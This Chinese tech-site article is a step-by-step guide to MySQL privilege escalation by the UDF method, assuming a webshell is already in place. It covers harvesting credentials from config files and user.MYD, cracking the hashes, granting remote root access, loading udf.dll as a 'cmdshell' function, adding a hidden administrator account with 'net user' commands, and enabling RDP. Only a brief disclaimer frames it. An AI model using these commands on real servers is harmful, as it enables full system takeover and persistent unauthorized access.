mysql数据库提权的三种方法

 更新时间:2024年09月19日 10:22:10   作者:feing.  
文介绍了MySQL数据库的三种提权方法:UDF提权、MOF提权和启动项提权,同时列出了一些常见数据库及其默认端口,下面就来介绍一下,感兴趣的可以了解一下

MySql提权的三种方式:

  • udf提权
  • mof提权
  • 启动项提权

以下是一些常见的数据库及其默认端口:

1. MySQL: 默认端口为 3306

2. PostgreSQL: 默认端口为 5432

3. Oracle Database: 默认端口为 1521

4. Microsoft SQL Server: 默认端口为 1433

5. MongoDB: 默认端口为 27017

6. Redis: 默认端口为 6379

7. Elasticsearch: 默认端口为 9200 (HTTP) 和 9300 (内部通信)

8. Cassandra: 默认端口为 9042

9. SQLite: 通常是本地文件系统,没有固定端口

10. DB2: 默认端口为 50000

11.国产的DM达梦数据库, 默认端口号为:5236;

mysql_UDF 提权:

拿到webshell之后,进行数据库提权操作

一、端口扫描

二、信息收集:

如何获取mysql账号密码

1.查看网站配置文件。

如:conn、config、data、sql、common 、inc、include等。

2.Mysql配置文件:C:\phpStudy\MySQL\data\mysql\user.MYD

例如:DVWA默认数据库存储在:C:/phpStudy/WWW/DVWA/config/config.inc.php.dist目录

点击查看:账号:root 密码:root

查看数据库安装路径下的mysql文件 安装目录为/data/mysql/user.myd和user.myi

放到MD5在线网站进行解密

三、提权利用

注意事项:提权的第一步要知道数据库的版本号:

(1)如果mysql<5.1    导出目录 c:\windows 或  c:\windows\system32

(2)mysql=>5.1   导出安装目录\MySQL\lib\plugin

注*:默认mysql不能远程连接,需要用菜刀进行本地连接

选择mysql,填写好账号:root 密码root,确认好提交进行连接

设置远程连接,用于在本地连接。

mysql> GRANT ALL PRIVILEGES ON *.* TO root@"%" IDENTIFIED BY "root";
mysql> flush privileges; 重新加载权限数据

数据库版本为5.5.53

由于本次实验数据库为5.5.53,因此选择\MySQL\lib\plugin目录。

提示报错

前提条件为:secure_file_priv等于空,需要在my.ini配置文件中进行设置

修改之后,查看安装dll文件完成。

创建cmdshell函数,执行操作系统命令。

Create Function cmdshell returns string soname 'udf.dll';

使用cmdshll函数执行操作系统命令

select cmdshell('whoami');
select cmdshell('net user 123 123/add');    添加用户
select cmdshell('net localgroup administrators 123 /add');    将123用户添加到管理组

开3389进行远程连接

Create Function open3389 returns string soname 'udf.dll';
select open3389();    开启3389远程连接

注意:仅用于技术讨论,切勿用于其他用途,一切后果与本人无关。

到此这篇关于mysql数据库提权的三种方法的文章就介绍到这了,更多相关mysql数据库提权内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • MySQL5.7不停业务将传统复制变更为GTID复制的实例

    MySQL5.7不停业务将传统复制变更为GTID复制的实例

    下面小编就为大家带来一篇MySQL5.7不停业务将传统复制变更为GTID复制的实例。小编觉的挺不错的,现在就分享给大家,也给大家做个参考。一起跟随小编过来看看吧
    2017-03-03
  • MySQL视图原理与基本操作示例

    MySQL视图原理与基本操作示例

    这篇文章主要介绍了MySQL视图原理与基本操作,简单描述了mysql视图的概念、功能并结合实例形式分析了mysql视图的创建、查询、修改、删除等相关操作技巧,需要的朋友可以参考下
    2018-03-03
  • Windows下MySQL安装配置方法图文教程

    Windows下MySQL安装配置方法图文教程

    这篇文章主要为大家分享了Windows下MySQL安装配置方法图文教程,感兴趣的朋友可以参考一下
    2016-06-06
  • 定位和优化mysql慢查询的常见方法分享

    定位和优化mysql慢查询的常见方法分享

    MySQL中的慢查询(Slow Query)指执行时间超过指定阈值的查询语句,默认阈值是long_query_time参数设置的秒值,MySQL有几种常见的方法可以发现和获取慢查询,接下来小编将给大家详细的介绍一下这些方法,需要的朋友可以参考下
    2023-08-08
  • MySQL多层级结构-区域表使用树详解

    MySQL多层级结构-区域表使用树详解

    前面我们大概介绍了一下树结构表的基本使用。在我们项目中有好几块有用到多层级的概念。下面我们哪大家都比较熟悉的区域表来做演示
    2016-07-07
  • MySQL 数据类型 大全

    MySQL 数据类型 大全

    mysql下的一些数据类型,后面附有类型的说明。
    2009-04-04
  • mysql中全连接full join...on...的用法说明

    mysql中全连接full join...on...的用法说明

    这篇文章主要介绍了mysql中全连接full join...on...的用法说明,具有很好的参考价值,希望对大家有所帮助。如有错误或未考虑完全的地方,望不吝赐教
    2023-03-03
  • centOS下mysql workbench安装配置教程

    centOS下mysql workbench安装配置教程

    这篇文章主要为大家详细介绍了centOS下mysql workbench安装配置教程,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
    2017-11-11
  • MySQL如何改变表的存储引擎方式

    MySQL如何改变表的存储引擎方式

    这篇文章主要介绍了MySQL如何改变表的存储引擎方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教
    2023-11-11
  • MySQL对中文进行排序详解及实例

    MySQL对中文进行排序详解及实例

    这篇文章主要介绍了MySQL对中文进行排序详解及实例的相关资料,需要的朋友可以参考下
    2017-05-05

最新评论